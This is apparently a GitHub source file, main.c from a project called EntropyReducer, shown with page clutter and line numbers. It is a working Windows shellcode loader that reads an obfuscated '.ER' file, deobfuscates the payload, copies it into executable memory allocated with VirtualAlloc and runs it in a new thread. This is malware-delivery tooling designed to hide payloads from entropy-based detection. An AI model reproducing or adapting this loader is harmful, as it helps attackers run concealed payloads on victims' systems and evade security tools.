-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathmain.c
88 lines (58 loc) · 2.58 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
/*
program that will read a .ER file (generated by 'EntropyReducer.exe' and run it)
*/
#include <Windows.h>
#include <stdio.h>
#include "EntropyReducer.h"
BOOL ReportError(const char* ApiName) {
printf("[!] \"%s\" [ FAILED ] \t%d \n", ApiName, GetLastError());
return FALSE;
}
int main(int argc, char* argv[]) {
if (!(argc >= 2)) {
printf("[!] Please Specify Input '.ER' File To Run ... \n");
return -1;
}
printf("[i] BUFF_SIZE : [ 0x%0.4X ] - NULL_BYTES : [ 0x%0.4X ]\n", BUFF_SIZE, NULL_BYTES);
HANDLE hFile = INVALID_HANDLE_VALUE,
hThread = NULL;
DWORD dwFileSize = NULL;
DWORD dwNumberOfBytesRead = NULL;
PBYTE pBuffer = NULL;
hFile = CreateFileA((LPCSTR)argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return ReportError("CreateFileA");
if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE)
return ReportError("GetFileSize");
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
if (!pBuffer)
return ReportError("HeapAlloc");
if (!ReadFile(hFile, pBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != dwFileSize) {
printf("[i] Read %ld from %ld Bytes \n", dwNumberOfBytesRead, dwFileSize);
return ReportError("ReadFile");
}
CloseHandle(hFile);
//-------------------------------------------------------------------------------------------------------------
SIZE_T DeobfuscatedPayloadSize = NULL;
PBYTE DeobfuscatedPayloadBuffer = NULL;
printf("[i] Deobfuscating \"%s\" ... ", argv[1]);
if (!Deobfuscate(pBuffer, dwFileSize, &DeobfuscatedPayloadBuffer, &DeobfuscatedPayloadSize)) {
return -1;
}
printf("[+] DONE \n");
printf("\t>>> Deobfuscated Payload Size : %ld \n\t>>> Deobfuscated Payload Located At : 0x%p \n", DeobfuscatedPayloadSize, DeobfuscatedPayloadBuffer);
//-------------------------------------------------------------------------------------------------------------
printf("[$] Press <Enter> To Run ... ");
getchar();
PVOID pExecAddress = VirtualAlloc(NULL, DeobfuscatedPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pExecAddress)
return ReportError("VirtualAlloc");
memcpy(pExecAddress, DeobfuscatedPayloadBuffer, DeobfuscatedPayloadSize);
printf("[i] Running Payload Thread ... ");
hThread = CreateThread(NULL, NULL, pExecAddress, (PVOID)"pew pew", NULL, NULL);
if (!hThread)
return ReportError("CreateThread");
WaitForSingleObject(hThread, INFINITE);
printf("[+] DONE \n");
return 0;
}